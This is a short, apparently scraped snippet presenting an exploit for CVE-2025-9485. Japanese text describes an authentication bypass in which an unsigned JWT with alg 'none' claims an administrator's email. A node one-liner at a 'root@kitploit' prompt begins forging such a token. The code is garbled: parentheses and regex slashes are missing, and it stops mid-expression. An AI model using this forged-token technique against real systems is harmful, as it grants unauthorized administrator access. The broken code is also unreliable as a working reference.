CVE-2025-9485

エクスプロイト: 署名なしJWTによる認証バイパス alg: none 1 管理者メールを主張する署名なしJWTを作成 root@kitploit: TOKEN=$node -e ' function b64us return Buffer.froms.toString"base64" .replace/+/g,"-" .replace///g,"" .replace/=+$/,"" const header = b64uJSON.stringify alg: "none", typ: "JWT" ; const now = Math.floorDate.now/1000; const...